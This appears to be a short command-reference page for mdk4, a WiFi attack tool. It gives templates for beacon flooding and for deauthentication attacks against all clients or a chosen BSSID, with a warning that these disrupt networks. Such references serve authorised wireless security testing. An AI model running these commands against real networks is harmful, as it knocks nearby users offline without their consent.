# mdk4 > A proof-of-concept tool to exploit common IEEE 802.11 protocol weaknesses. > Note: Exercise extreme caution as this tool can disrupt WiFi networks and disconnect nearby users. > See also: `airodump-ng`, `airmon-ng`. > More information: . - Flood access points with beacon frames to create fake networks (set interface to monitor mode with `sudo airmon-ng start ` if needed): `sudo mdk4 {{wifi_interface}} b -f {{path/to/beacons.txt}}` - Perform deauthentication attack against all clients on all BSSIDs: `sudo mdk4 {{wifi_interface}} d` - Perform deauthentication attack on a specific BSSID (list BSSIDs using `sudo airodump-ng `): `sudo mdk4 {{wifi_interface}} d -B {{BSSID}}`
